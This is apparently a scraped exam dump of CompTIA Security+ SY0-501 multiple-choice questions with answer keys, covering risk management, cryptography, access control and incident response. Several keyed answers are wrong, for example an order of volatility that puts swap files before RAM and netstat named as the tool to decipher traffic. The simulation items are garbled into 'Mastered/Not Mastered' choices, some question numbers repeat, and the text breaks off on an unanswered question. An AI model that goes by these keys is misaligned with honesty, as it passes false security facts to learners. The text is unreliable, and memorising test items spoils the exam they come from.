



CompTIA

Exam Questions SY0-501

CompTIA Security+ Certification Exam

NEW QUESTION 1

- (Exam Topic 1)

Ann, a security administrator, has been instructed to perform fuzz-based testing on the company's applications. Which of the following best describes what she will do?

- A. Enter random or invalid data into the application in an attempt to cause it to fault
- B. Work with the developers to eliminate horizontal privilege escalation opportunities
- C. Test the applications for the existence of built-in- back doors left by the developers
- D. Hash the application to verify it won't cause a false positive on the HIPS

Answer: A

NEW QUESTION 2

- (Exam Topic 1)

Which of the following types of keys is found in a key escrow?

- A. Public
- B. Private
- C. Shared
- D. Session

Answer: B

Explanation:

<https://www.professormesser.com/security-plus/sy0-401/key-escrow-3/>

NEW QUESTION 3

- (Exam Topic 1)

In a corporation where compute utilization spikes several times a year, the Chief Information Officer (CIO) has requested a cost-effective architecture to handle the variable capacity demand. Which of the following characteristics BEST describes what the CIO has requested?

- A. Elasticity
- B. Scalability
- C. High availability
- D. Redundancy

Answer: A

Explanation:

Elasticity is defined as "the degree to which a system is able to adapt to workload changes by provisioning and de-provisioning resources in an autonomic manner, such that at each point in time the available resources match the current demand as closely as possible".

NEW QUESTION 4

- (Exam Topic 1)

An organization's file server has been virtualized to reduce costs. Which of the following types of backups would be MOST appropriate for the particular file server?

- A. Snapshot
- B. Full
- C. Incremental
- D. Differential

Answer: C

NEW QUESTION 5

- (Exam Topic 1)

When considering a third-party cloud service provider, which of the following criteria would be the BEST to include in the security assessment process? (Select two.)

- A. Use of performance analytics
- B. Adherence to regulatory compliance
- C. Data retention policies
- D. Size of the corporation
- E. Breadth of applications support

Answer: BC

NEW QUESTION 6

- (Exam Topic 1)

A security administrator has found a hash in the environment known to belong to malware. The administrator then finds this file to be in in the preupdate area of the OS, which indicates it was pushed from the central patch system.

File: winx86_adobe_flash_upgrade.exe Hash: 99ac28bede43ab869b853ba62c4ea243

The administrator pulls a report from the patch management system with the following output:

Install Date	Package Name	Target Devices	Hash
10/10/2017	java_11.2_x64.exe	HQ PC's	01ab28bbde63aa879b35bba62cdes283
10/10/2017	winx86_adobe_flash_upgrade.exe	HQ PC's	99ac28bede43ab869b853ba62c4ea243

Given the above outputs, which of the following MOST likely happened?

- A. The file was corrupted after it left the patch system.
- B. The file was infected when the patch manager downloaded it.
- C. The file was not approved in the application whitelist system.
- D. The file was embedded with a logic bomb to evade detection.

Answer: D

NEW QUESTION 7

- (Exam Topic 1)

Which of the following can be provided to an AAA system for the identification phase?

- A. Username
- B. Permissions
- C. One-time token
- D. Private certificate

Answer: A

NEW QUESTION 8

- (Exam Topic 1)

A botnet has hit a popular website with a massive number of GRE-encapsulated packets to perform a DDoS attack. News outlets discover a certain type of refrigerator was exploited and used to send outbound packets to the website that crashed. To which of the following categories does the refrigerator belong?

- A. SoC
- B. ICS
- C. IoT
- D. MFD

Answer: C

NEW QUESTION 9

- (Exam Topic 1)

A company determines that it is prohibitively expensive to become compliant with new credit card regulations. Instead, the company decides to purchase insurance to cover the cost of any potential loss. Which of the following is the company doing?

- A. Transferring the risk
- B. Accepting the risk
- C. Avoiding the risk
- D. Migrating the risk

Answer: A

NEW QUESTION 10

- (Exam Topic 1)

Despite having implemented password policies, users continue to set the same weak passwords and reuse old passwords. Which of the following technical controls would help prevent these policy violations? (Select two.)

- A. Password expiration
- B. Password length
- C. Password complexity
- D. Password history
- E. Password lockout

Answer: CD

NEW QUESTION 10

- (Exam Topic 1)

A wireless network uses a RADIUS server that is connected to an authenticator, which in turn connects to a supplicant. Which of the following represents the authentication architecture in use?

- A. Open systems authentication
- B. Captive portal
- C. RADIUS federation
- D. 802.1x

Answer: D

NEW QUESTION 11

- (Exam Topic 1)

A system administrator wants to provide for and enforce wireless access accountability during events where external speakers are invited to make presentations to a mixed audience of employees and non-employees.

Which of the following should the administrator implement?

- A. Shared accounts
- B. Preshared passwords
- C. Least privilege
- D. Sponsored guest

Answer: D

NEW QUESTION 14

- (Exam Topic 1)

A security analyst wishes to increase the security of an FTP server. Currently, all traffic to the FTP server is unencrypted. Users connecting to the FTP server use a variety of modern FTP client software.

The security analyst wants to keep the same port and protocol, while also still allowing unencrypted connections. Which of the following would BEST accomplish these goals?

- A. Require the SFTP protocol to connect to the file server.
- B. Use implicit TLS on the FTP server.
- C. Use explicit FTPS for connections.
- D. Use SSH tunneling to encrypt the FTP traffic.

Answer: C

NEW QUESTION 19

- (Exam Topic 1)

A security administrator wants to implement strong security on the company smart phones and terminal servers located in the data center. Drag and drop the applicable controls to each asset types?

Instructions: Controls can be used multiple times and not all placeholders need to be filled. When you have completed the simulation, please select the Done button to submit.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Company Manages Smart Phone Screen Lock
 Strong Password Device Encryption Remote Wipe GPS Tracking
 Pop-up blocker
 Data Center Terminal Server Cable Locks
 Antivirus
 Host Based Firewall Proximity Reader Sniffer
 Mantrap

NEW QUESTION 21

- (Exam Topic 1)

When trying to log onto a company's new ticketing system, some employees receive the following message: Access denied: too many concurrent sessions. The ticketing system was recently installed on a small VM with only the recommended hardware specifications. Which of the following is the MOST likely cause for this error message?

- A. Network resources have been exceeded.
- B. The software is out of licenses.
- C. The VM does not have enough processing power.
- D. The firewall is misconfigured.

Answer: C

NEW QUESTION 24

- (Exam Topic 1)

An auditor wants to test the security posture of an organization by running a tool that will display the following:

```
JIMS          <00> UNIQUE      Registered
WORKGROUP    <00> GROUP        Registered
JIMS          <00> UNIQUE      Registered
```

Which of the following commands should be used?

- A. nbtstat
- B. nc
- C. arp
- D. ipconfig

Answer: A

NEW QUESTION 28

- (Exam Topic 1)

Refer to the following code:

```
public class rainbow {
    public static void main (String [] args) {
        object blue = null;
        blue.hashCode (); }
}
```

Which of the following vulnerabilities would occur if this is executed?

- A. Page exception
- B. Pointer deference
- C. NullPointerException
- D. Missing null check

Answer: D

NEW QUESTION 31

- (Exam Topic 1)

A company hires a consulting firm to crawl its Active Directory network with a non-domain account looking for unpatched systems. Actively taking control of systems is out of scope, as is the creation of new administrator accounts. For which of the following is the company hiring the consulting firm?

- A. Vulnerability scanning
- B. Penetration testing
- C. Application fuzzing
- D. User permission auditing

Answer: A

NEW QUESTION 33

- (Exam Topic 1)

An organization is using a tool to perform a source code review. Which of the following describes the case in which the tool incorrectly identifies the vulnerability?

- A. False negative
- B. True negative
- C. False positive
- D. True positive

Answer: C

NEW QUESTION 38

- (Exam Topic 1)

A user has attempted to access data at a higher classification level than the user's account is currently authorized to access. Which of the following access control models has been applied to this user's account?

- A. MAC
- B. DAC
- C. RBAC
- D. ABAC

Answer: A

NEW QUESTION 42

- (Exam Topic 1)

A security analyst is reviewing the following output from an IPS:

```
[**] [1:2467:7] EXPLOIT IGMP IGAP message overflow attempt [**]  
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]  
07/30-19:45:02.238185 250.19.18.71 -> 250.19.18.22  
IGMP TTL:255 TOS: 0x0 ID: 9742 IpLen:20 DgmLen: 502 MF  
Frag offset: 0x1FFF Frag Size: 0x01E2  
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-0367]
```

Given this output, which of the following can be concluded? (Select two.)

- A. The source IP of the attack is coming from 250.19.18.22.
- B. The source IP of the attack is coming from 250.19.18.71.
- C. The attacker sent a malformed IGAP packet, triggering the alert.
- D. The attacker sent a malformed TCP packet, triggering the alert.
- E. The TTL value is outside of the expected range, triggering the alert.

Answer: BC

NEW QUESTION 44

- (Exam Topic 1)

A network administrator wants to implement a method of securing internal routing. Which of the following should the administrator implement?

- A. DMZ
- B. NAT
- C. VPN
- D. PAT

Answer: C

NEW QUESTION 49

- (Exam Topic 1)

When identifying a company's most valuable assets as part of a BIA, which of the following should be the FIRST priority?

- A. Life
- B. Intellectual property
- C. Sensitive data
- D. Public reputation

Answer: A

NEW QUESTION 52

- (Exam Topic 2)

A technician suspects that a system has been compromised. The technician reviews the following log entry: WARNING- hash mismatch:

C:\Window\SysWOW64\user32.dll

WARNING- hash mismatch: C:\Window\SysWOW64\kernel32.dll

Based solely on the above information, which of the following types of malware is MOST likely installed on the system?

- A. Rootkit
- B. Ransomware
- C. Trojan
- D. Backdoor

Answer: A

NEW QUESTION 56

- (Exam Topic 2)

Which of the following AES modes of operation provide authentication? (Select two.)

- A. CCM
- B. CBC
- C. GCM
- D. DSA
- E. CFB

Answer: AC

NEW QUESTION 61

- (Exam Topic 2)

An organization is comparing and contrasting migration from its standard desktop configuration to the newest version of the platform. Before this can happen, the Chief Information Security Officer (CISO) voices the need to evaluate the functionality of the newer desktop platform to ensure interoperability with existing software in use by the organization. In which of the following principles of architecture and design is the CISO engaging?

- A. Dynamic analysis
- B. Change management
- C. Baselineing
- D. Waterfalling

Answer: B

NEW QUESTION 64

- (Exam Topic 2)

Which of the following differentiates a collision attack from a rainbow table attack?

- A. A rainbow table attack performs a hash lookup
- B. A rainbow table attack uses the hash as a password
- C. In a collision attack, the hash and the input data are equivalent
- D. In a collision attack, the same input results in different hashes

Answer: A

NEW QUESTION 66

- (Exam Topic 2)

An attacker discovers a new vulnerability in an enterprise application. The attacker takes advantage of the vulnerability by developing new malware. After installing the malware, the attacker is provided with access to the infected machine.

Which of the following is being described?

- A. Zero-day exploit
- B. Remote code execution
- C. Session hijacking
- D. Command injection

Answer: A

NEW QUESTION 68

- (Exam Topic 2)

Before an infection was detected, several of the infected devices attempted to access a URL that was similar to the company name but with two letters transposed. Which of the following BEST describes the attack vector used to infect the devices?

- A. Cross-site scripting
- B. DNS poisoning
- C. Typo squatting
- D. URL hijacking

Answer: C

NEW QUESTION 71

- (Exam Topic 2)

A director of IR is reviewing a report regarding several recent breaches. The director compiles the following statistic's

-Initial IR engagement time frame

-Length of time before an executive management notice went out

-Average IR phase completion

The director wants to use the data to shorten the response time. Which of the following would accomplish this?

- A. CSIRT

- B. Containment phase
- C. Escalation notifications
- D. Tabletop exercise

Answer: D

NEW QUESTION 75

- (Exam Topic 2)

After a merger between two companies a security analyst has been asked to ensure that the organization's systems are secured against infiltration by any former employees that were terminated during the transition.

Which of the following actions are MOST appropriate to harden applications against infiltration by former employees? (Select TWO)

- A. Monitor VPN client access
- B. Reduce failed login out settings
- C. Develop and implement updated access control policies
- D. Review and address invalid login attempts
- E. Increase password complexity requirements
- F. Assess and eliminate inactive accounts

Answer: CF

NEW QUESTION 79

- (Exam Topic 2)

A security administrator has been tasked with improving the overall security posture related to desktop machines on the network. An auditor has recently that several machines with confidential customer information displayed in the screens are left unattended during the course of the day.

Which of the following could the security administrator implement to reduce the risk associated with the finding?

- A. Implement a clean desk policy
- B. Security training to prevent shoulder surfing
- C. Enable group policy based screensaver timeouts
- D. Install privacy screens on monitors

Answer: C

NEW QUESTION 81

- (Exam Topic 2)

While reviewing the monthly internet usage it is noted that there is a large spike in traffic classified as "unknown" and does not appear to be within the bounds of the organizations Acceptable Use Policy.

Which of the following tool or technology would work BEST for obtaining more information on this traffic?

- A. Firewall logs
- B. IDS logs
- C. Increased spam filtering
- D. Protocol analyzer

Answer: B

NEW QUESTION 85

- (Exam Topic 2)

A bank requires tellers to get manager approval when a customer wants to open a new account. A recent audit shows that there have been four cases in the previous year where tellers opened accounts without management approval. The bank president thought separation of duties would prevent this from happening. In order to implement a true separation of duties approach the bank could:

- A. Require the use of two different passwords held by two different individuals to open an account
- B. Administer account creation on a role based access control approach
- C. Require all new accounts to be handled by someone else other than a teller since they have different duties
- D. Administer account creation on a rule based access control approach

Answer: C

NEW QUESTION 88

- (Exam Topic 2)

A member of a digital forensics team, Joe arrives at a crime scene and is preparing to collect system data. Before powering the system off, Joe knows that he must collect the most volatile data first. Which of the following is the correct order in which Joe should collect the data?

- A. CPU cache, paging/swap files, RAM, remote logging data
- B. RAM, CPU cache
- C. Remote logging data, paging/swap files
- D. Paging/swap files, CPU cache, RAM, remote logging data
- E. CPU cache, RAM, paging/swap files, remote logging data

Answer: D

NEW QUESTION 92

- (Exam Topic 2)

A development team has adopted a new approach to projects in which feedback is iterative and multiple iterations of deployments are provided within an application's full life cycle. Which of the following software development methodologies is the development team using?

- A. Waterfall
- B. Agile
- C. Rapid
- D. Extreme

Answer: B

NEW QUESTION 94

- (Exam Topic 2)

Which of the following cryptographic algorithms is irreversible?

- A. RC4
- B. SHA-256
- C. DES
- D. AES

Answer: B

NEW QUESTION 97

- (Exam Topic 2)

Audit logs from a small company's vulnerability scanning software show the following findings: Destinations scanned:

-Server001- Internal human resources payroll server

-Server101-Internet-facing web server

-Server201- SQL server for Server101

-Server301-Jumpbox used by systems administrators accessible from the internal network Validated vulnerabilities found:

-Server001- Vulnerable to buffer overflow exploit that may allow attackers to install software

-Server101- Vulnerable to buffer overflow exploit that may allow attackers to install software

-Server201-OS updates not fully current

-Server301- Accessible from internal network without the use of jumpbox

-Server301-Vulnerable to highly publicized exploit that can elevate user privileges

Assuming external attackers who are gaining unauthorized information are of the highest concern, which of the following servers should be addressed FIRST?

- A. Server001
- B. Server101
- C. Server201
- D. Server301

Answer: B

NEW QUESTION 98

- (Exam Topic 2)

An organization's primary datacenter is experiencing a two-day outage due to an HVAC malfunction. The node located in the datacenter has lost power and is no longer operational, impacting the ability of all users to connect to the alternate datacenter. Which of the following BIA concepts BEST represents the risk described in this scenario?

- A. SPoF
- B. RTO
- C. MTBF
- D. MTTR

Answer: A

NEW QUESTION 103

- (Exam Topic 2)

An information security analyst needs to work with an employee who can answer QUESTION NO:s about how data for a specific system is used in the business. The analyst should seek out an employee who has the role of:

- A. steward
- B. owner
- C. privacy officer
- D. systems administrator

Answer: B

NEW QUESTION 108

- (Exam Topic 2)

A security engineer is configuring a wireless network that must support mutual authentication of the wireless client and the authentication server before users provide credentials. The wireless network must also support authentication with usernames and passwords. Which of the following authentication protocols MUST the security engineer select?

- A. EAP-FAST
- B. EAP-TLS
- C. PEAP
- D. EAP

Answer: C

NEW QUESTION 113

- (Exam Topic 2)

The availability of a system has been labeled as the highest priority. Which of the following should be focused on the MOST to ensure the objective?

- A. Authentication
- B. HVAC
- C. Full-disk encryption
- D. File integrity checking

Answer: B

NEW QUESTION 115

- (Exam Topic 2)

After an identified security breach, an analyst is tasked to initiate the IR process. Which of the following is the NEXT step the analyst should take?

- A. Recovery
- B. Identification
- C. Preparation
- D. Documentation
- E. Escalation

Answer: B

NEW QUESTION 116

- (Exam Topic 2)

A black hat hacker is enumerating a network and wants to remain covert during the process. The hacker initiates a vulnerability scan. Given the task at hand the requirement of being covert, which of the following statements BEST indicates that the vulnerability scan meets these requirements?

- A. The vulnerability scanner is performing an authenticated scan.
- B. The vulnerability scanner is performing local file integrity checks.
- C. The vulnerability scanner is performing in network sniffer mode.
- D. The vulnerability scanner is performing banner grabbing.

Answer: C

NEW QUESTION 117

- (Exam Topic 2)

A technician is configuring a wireless guest network. After applying the most recent changes the technician finds the new devices can no longer find the wireless network by name but existing devices are still able to use the wireless network.

Which of the following security measures did the technician MOST likely implement to cause this Scenario?

- A. Deactivation of SSID broadcast
- B. Reduction of WAP signal output power
- C. Activation of 802.1X with RADIUS
- D. Implementation of MAC filtering
- E. Beacon interval was decreased

Answer: A

NEW QUESTION 120

- (Exam Topic 2)

A company was recently audited by a third party. The audit revealed the company's network devices were transferring files in the clear. Which of the following protocols should the company use to transfer files?

- A. HTTPS
- B. LDAPS
- C. SCP
- D. SNMPv3

Answer: C

NEW QUESTION 125

- (Exam Topic 2)

A new firewall has been placed into service at an organization. However, a configuration has not been entered on the firewall. Employees on the network segment covered by the new firewall report they are unable to access the network. Which of the following steps should be completed to BEST resolve the issue?

- A. The firewall should be configured to prevent user traffic from matching the implicit deny rule.
- B. The firewall should be configured with access lists to allow inbound and outbound traffic.
- C. The firewall should be configured with port security to allow traffic.
- D. The firewall should be configured to include an explicit deny rule.

Answer: A

NEW QUESTION 126

- (Exam Topic 2)

A security analyst accesses corporate web pages and inputs random data in the forms. The response received includes the type of database used and SQL commands that the database accepts. Which of the following should the security analyst use to prevent this vulnerability?

- A. Application fuzzing
- B. Error handling
- C. Input validation
- D. Pointer dereference

Answer: C

NEW QUESTION 127

- (Exam Topic 2)

A vulnerability scanner that uses its running service's access level to better assess vulnerabilities across multiple assets within an organization is performing a:

- A. Credentialed scan.
- B. Non-intrusive scan.
- C. Privilege escalation test.
- D. Passive scan.

Answer: A

NEW QUESTION 130

- (Exam Topic 2)

Company policy requires the use of passphrases instead of passwords.

Which of the following technical controls **MUST** be in place in order to promote the use of passphrases?

- A. Reuse
- B. Length
- C. History
- D. Complexity

Answer: D

NEW QUESTION 133

- (Exam Topic 2)

A security administrator suspects a MITM attack aimed at impersonating the default gateway is underway. Which of the following tools should the administrator use to detect this attack? (Select two.)

- A. Ping
- B. Ipconfig
- C. Tracert
- D. Netstat
- E. Dig
- F. Nslookup

Answer: BC

NEW QUESTION 138

- (Exam Topic 2)

Which of the following must be intact for evidence to be admissible in court?

- A. Chain of custody
- B. Order of volatility
- C. Legal hold
- D. Preservation

Answer: A

NEW QUESTION 139

- (Exam Topic 3)

An organization is working with a cloud services provider to transition critical business applications to a hybrid cloud environment. The organization retains sensitive customer data and wants to ensure the provider has sufficient administrative and logical controls in place to protect its data. In which of the following documents would this concern **MOST** likely be addressed?

- A. Service level agreement
- B. Interconnection security agreement
- C. Non-disclosure agreement
- D. Business process analysis

Answer: A

NEW QUESTION 143

- (Exam Topic 3)

The Chief Executive Officer (CEO) of a major defense contracting company is traveling overseas for a conference. The CEO will be taking a laptop. Which of the following should the security administrator implement to ensure confidentiality of the data if the laptop were to be stolen or lost during the trip?

- A. Remote wipe
- B. Full device encryption
- C. BIOS password

D. GPS tracking

Answer: B

NEW QUESTION 144

- (Exam Topic 3)

A system administrator is configuring a site-to-site VPN tunnel. Which of the following should be configured on the VPN concentrator during the IKE phase?

- A. RIPEMD
- B. ECDHE
- C. Diffie-Hellman
- D. HTTPS

Answer: C

NEW QUESTION 149

- (Exam Topic 3)

After correctly configuring a new wireless enabled thermostat to control the temperature of the company's meeting room, Joe, a network administrator determines that the thermostat is not connecting to the internetbased control system. Joe verifies that the thermostat received the expected network parameters and it is associated with the AP. Additionally, the other wireless mobile devices connected to the same wireless network are functioning properly. The network administrator verified that the thermostat works when tested at his residence. Which of the following is the MOST likely reason the thermostat is not connecting to the internet?

- A. The company implements a captive portal
- B. The thermostat is using the incorrect encryption algorithm
- C. the WPA2 shared key is incorrect
- D. The company's DHCP server scope is full

Answer: C

NEW QUESTION 152

- (Exam Topic 3)

Ann a security analyst is monitoring the IDS console and noticed multiple connections from an internal host to a suspicious call back domain. Which of the following tools would aid her to decipher the network traffic?

- A. Vulnerability Scanner
- B. NMAP
- C. NETSTAT
- D. Packet Analyzer

Answer: C

NEW QUESTION 155

- (Exam Topic 3)

A new intern in the purchasing department requires read access to shared documents. Permissions are normally controlled through a group called "Purchasing", however, the purchasing group permissions allow write access. Which of the following would be the BEST course of action?

- A. Modify all the shared files with read only permissions for the intern.
- B. Create a new group that has only read permissions for the files.
- C. Remove all permissions for the shared files.
- D. Add the intern to the "Purchasing" group.

Answer: B

NEW QUESTION 160

- (Exam Topic 3)

Which of the following would verify that a threat does exist and security controls can easily be bypassed without actively testing an application?

- A. Protocol analyzer
- B. Vulnerability scan
- C. Penetration test
- D. Port scanner

Answer: B

Explanation:

A vulnerability scan is the automated process of proactively identifying security vulnerabilities of computing systems in a network in order to determine if and where a system can be exploited and/or threatened. While public servers are important for communication and data transfer over the Internet, they open the door to potential security breaches by threat agents, such as malicious hackers.

Vulnerability scanning employs software that seeks out security flaws based on a database of known flaws, testing systems for the occurrence of these flaws and generating a report of the findings that an individual or an enterprise can use to tighten the network's security.

Vulnerability scanning typically refers to the scanning of systems that are connected to the Internet but can also refer to system audits on internal networks that are not connected to the Internet in order to assess the threat of rogue software or malicious employees in an enterprise.

NEW QUESTION 163

- (Exam Topic 3)

An employee uses RDP to connect back to the office network. If RDP is misconfigured, which of the following security exposures would this lead to?

- A. A virus on the administrator's desktop would be able to sniff the administrator's username and password.
- B. Result in an attacker being able to phish the employee's username and password.
- C. A social engineering attack could occur, resulting in the employee's password being extracted.
- D. A man in the middle attack could occur, resulting the employee's username and password being captured.

Answer: D

NEW QUESTION 167

- (Exam Topic 3)

A product manager is concerned about continuing operations at a facility located in a region undergoing significant political unrest. After consulting with senior management, a decision is made to suspend operations at the facility until the situation stabilizes.

Which of the following risk management strategies BEST describes management's response?

- A. Deterrence
- B. Mitigation
- C. Avoidance
- D. Acceptance

Answer: C

NEW QUESTION 168

- (Exam Topic 3)

During a data breach cleanup, it is discovered that not all of the sites involved have the necessary data wiping tools. The necessary tools are quickly distributed to the required technicians, but when should this problem BEST be revisited?

- A. Reporting
- B. Preparation
- C. Mitigation
- D. Lessons Learned

Answer: D

NEW QUESTION 170

- (Exam Topic 3)

Anne, the Chief Executive Officer (CEO), has reported that she is getting multiple telephone calls from someone claiming to be from the helpdesk. The caller is asking to verify her network authentication credentials because her computer is broadcasting across the network. This is MOST likely which of the following types of attacks?

- A. Vishing
- B. Impersonation
- C. Spim
- D. Scareware

Answer: A

NEW QUESTION 172

- (Exam Topic 3)

Which of the following can affect electrostatic discharge in a network operations center?

- A. Fire suppression
- B. Environmental monitoring
- C. Proximity card access
- D. Humidity controls

Answer: D

NEW QUESTION 176

- (Exam Topic 3)

Which of the following is a document that contains detailed information about actions that include how something will be done, when the actions will be performed, and penalties for failure?

- A. MOU
- B. ISA
- C. BPA
- D. SLA

Answer: D

NEW QUESTION 177

- (Exam Topic 3)

While performing surveillance activities, an attacker determines that an organization is using 802.1X to secure LAN access. Which of the following attack mechanisms can the attacker utilize to bypass the identified network security?

- A. MAC spoofing
- B. Pharming
- C. Xmas attack
- D. ARP poisoning

Answer: A

NEW QUESTION 181

- (Exam Topic 3)

A penetration testing is preparing for a client engagement in which the tester must provide data that proves and validates the scanning tools' results. Which of the following is the best method for collecting this information?

- A. Set up the scanning system's firewall to permit and log all outbound connections
- B. Use a protocol analyzer to log all pertinent network traffic
- C. Configure network flow data logging on all scanning system
- D. Enable debug level logging on the scanning system and all scanning tools used.

Answer: A

NEW QUESTION 182

- (Exam Topic 3)

A company wants to host a publicly available server that performs the following functions:

- Evaluates MX record lookup
- Can perform authenticated requests for A and AAA records
- Uses RRSIG

Which of the following should the company use to fulfill the above requirements?

- A. DNSSEC
- B. SFTP
- C. nslookup
- D. dig
- E. LDAPS

Answer: A

Explanation:

DNS Security Extensions (DNSSEC) provides, among other things, cryptographic authenticity of responses using Resource Record Signatures (RRSIG) and authenticated denial of existence using Next-Secure (NSEC) and Hashed-NSEC records (NSEC3).

NEW QUESTION 183

- (Exam Topic 3)

Which of the following is commonly used for federated identity management across multiple organizations?

- A. SAML
- B. Active Directory
- C. Kerberos
- D. LDAP

Answer: A

NEW QUESTION 187

- (Exam Topic 3)

A technician must configure a firewall to block external DNS traffic from entering a network. Which of the following ports should they block on the firewall?

- A. 53
- B. 110
- C. 143
- D. 443

Answer: A

NEW QUESTION 188

- (Exam Topic 3)

During an application design, the development team specifies a LDAP module for single sign-on communication with the company's access control database. This is an example of which of the following?

- A. Application control
- B. Data in-transit
- C. Identification
- D. Authentication

Answer: D

NEW QUESTION 189

- (Exam Topic 3)

An information system owner has supplied a new requirement to the development team that calls for increased non-repudiation within the application. After undergoing several audits, the owner determined that current levels of non-repudiation were insufficient.

Which of the following capabilities would be MOST appropriate to consider implementing in response to the new requirement?

- A. Transitive trust

- B. Symmetric encryption
- C. Two-factor authentication
- D. Digital signatures
- E. One-time passwords

Answer: D

NEW QUESTION 192

- (Exam Topic 3)

Which of the following is the GREATEST risk to a company by allowing employees to physically bring their personal smartphones to work?

- A. Taking pictures of proprietary information and equipment in restricted areas.
- B. Installing soft token software to connect to the company's wireless network.
- C. Company cannot automate patch management on personally-owned devices.
- D. Increases the attack surface by having more target devices on the company's campus

Answer: A

NEW QUESTION 193

- (Exam Topic 3)

A security administrator is evaluating three different services: radius, diameter, and Kerberos. Which of the following is a feature that is UNIQUE to Kerberos?

- A. It provides authentication services
- B. It uses tickets to identify authenticated users
- C. It provides single sign-on capability
- D. It uses XML for cross-platform interoperability

Answer: B

NEW QUESTION 195

- (Exam Topic 3)

You have just received some room and WiFi access control recommendations from a security consulting company. Click on each building to bring up available security controls. Please implement the following requirements:

The Chief Executive Officer's (CEO) office had multiple redundant security measures installed on the door to the office. Remove unnecessary redundancies to deploy three-factor authentication, while retaining the expensive iris reader.

The Public Cafe has wireless available to customers. You need to secure the WAP with WPA and place a passphrase on the customer receipts.

In the Data Center you need to include authentication from the "something you know" category and take advantage of the existing smartcard reader on the door.

In the Help Desk Office, you need to require single factor authentication through the use of physical tokens given to guests by the receptionist.

The PII Office has redundant security measures in place. You need to eliminate the redundancy while maintaining three-factor authentication and retaining the more expensive controls.



Instructions: The original security controls for each office can be reset at any time by selecting the Reset button. Once you have met the above requirements for

each office, select the Save button. When you have completed the entire simulation, please select the Done button to submit. Once the simulation is submitted, please select the Next button to continue.

PII Processing Office

Available Security Controls

- Iris Scanner
- Thumbprint Scanner
- Proximity Badge
- Smart Card Reader
- One Time Password Token
- Pin Pad

Public Cafe

Available Security Controls

- 128-bit key
- 64-bit key
- Pre-share Key
- PKI certificate
- SSH Key
- Pin Pad

Help Desk

Available Security Controls

- Iris Scanner
- Thumbprint Scanner
- Password
- Proximity Badge
- Voice Recognition
- Pin Pad

Data Center
Available Security Controls

<input type="checkbox"/>	Iris Scanner
<input type="checkbox"/>	Thumbprint Scanner
<input type="checkbox"/>	Mantrap
<input checked="" type="checkbox"/>	Smart Card Reader
<input type="checkbox"/>	Voice Recognition
<input type="checkbox"/>	Pin Pad

Reset All Save Exit

CEO's Office
Available Security Controls

<input checked="" type="checkbox"/>	Iris Scanner
<input checked="" type="checkbox"/>	Thumbprint Scanner
<input type="checkbox"/>	Username/Password
<input type="checkbox"/>	Smart Card Reader
<input checked="" type="checkbox"/>	Voice Recognition
<input type="checkbox"/>	Pin Pad

Reset All Save Exit

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Solution as

PII Processing Office

Available Security Controls

<input checked="" type="checkbox"/>	Iris Scanner
<input checked="" type="checkbox"/>	Thumbprint Scanner
<input type="checkbox"/>	Proximity Badge
<input checked="" type="checkbox"/>	Smart Card Reader
<input type="checkbox"/>	One Time Password Token
<input checked="" type="checkbox"/>	Pin Pad

Reset All Save Exit

Public Cafe

Available Security Controls

<input checked="" type="checkbox"/>	128-bit key
<input checked="" type="checkbox"/>	64-bit key
<input checked="" type="checkbox"/>	Pre-share Key
<input checked="" type="checkbox"/>	PKI certificate
<input checked="" type="checkbox"/>	SSH Key
<input checked="" type="checkbox"/>	Pin Pad

Reset All Save Exit

Data Center

Available Security Controls

<input checked="" type="checkbox"/>	Iris Scanner
<input type="checkbox"/>	Thumbprint Scanner
<input type="checkbox"/>	Mantrap
<input checked="" type="checkbox"/>	Smart Card Reader
<input type="checkbox"/>	Voice Recognition
<input type="checkbox"/>	Pin Pad

Reset All Save Exit



NEW QUESTION 198

- (Exam Topic 3)

Joe, a technician, is working remotely with his company provided laptop at the coffee shop near his home. Joe is concerned that another patron of the coffee shop may be trying to access his laptop. Which of the following is an appropriate control to use to prevent the other patron from accessing Joe's laptop directly?

- A. full-disk encryption
- B. Host-based firewall
- C. Current antivirus definitions
- D. Latest OS updates

Answer: B

NEW QUESTION 202

- (Exam Topic 4)

A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN. Which of the following commands should the security administrator implement within the script to accomplish this task?

- A. arp - s 192.168.1.1 00-3a-d1-fa-b1-06
- B. dig - x@192.168.1.1 mypc.comptia.com
- C. nmap - A - T4 192.168.1.1
- D. tcpdump - Inv host 192.168.1.1 or either 00:3a:d1:fa:b1:06

Answer: A

NEW QUESTION 206

- (Exam Topic 4)

Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time?

- A. Security awareness training
- B. Antivirus
- C. Firewalls
- D. Intrusion detection system

Answer: B

NEW QUESTION 208

- (Exam Topic 4)

A security administrator suspects that data on a server has been exfiltrated as a result of un- authorized remote access. Which of the following would assist the administrator in con-firming the suspicions? (Select TWO)

- A. Networking access control
- B. DLP alerts
- C. Log analysis
- D. File integrity monitoring
- E. Host firewall rules

Answer: BC

NEW QUESTION 209

- (Exam Topic 4)

Which of the following strategies should a systems architect use to minimize availability risks due to insufficient storage capacity?

- A. High availability
- B. Scalability
- C. Distributive allocation
- D. Load balancing

Answer: B

NEW QUESTION 212

- (Exam Topic 4)

A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply when a sender encrypts the message hash with the sender's private key? (Select TWO)

- A. Non-repudiation
- B. Email content encryption
- C. Steganography
- D. Transport security
- E. Message integrity

Answer: AE

NEW QUESTION 213

- (Exam Topic 4)

Which of the following is commonly done as part of a vulnerability scan?

- A. Exploiting misconfigured applications
- B. Cracking employee passwords
- C. Sending phishing emails to employees
- D. Identifying unpatched workstations

Answer: D

NEW QUESTION 218

- (Exam Topic 4)

A datacenter recently experienced a breach. When access was gained, an RF device was used to access an air-gapped and locked server rack. Which of the following would BEST prevent this type of attack?

- A. Faraday cage
- B. Smart cards
- C. Infrared detection
- D. Alarms

Answer: A

NEW QUESTION 219

- (Exam Topic 4)

A global gaming console manufacturer is launching a new gaming platform to its customers. Which of the following controls reduces the risk created by malicious gaming customers attempting to circumvent control by way of modifying consoles?

- A. Firmware version control
- B. Manual software upgrades
- C. Vulnerability scanning
- D. Automatic updates
- E. Network segmentation
- F. Application firewalls

Answer: AD

NEW QUESTION 222

- (Exam Topic 4)

The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems. The help desk is receive reports that users are experiencing the following error when attempting to log in to their previous system:

Logon Failure: Access Denied

Which of the following can cause this issue?

- A. Permission issues
- B. Access violations
- C. Certificate issues
- D. Misconfigured devices
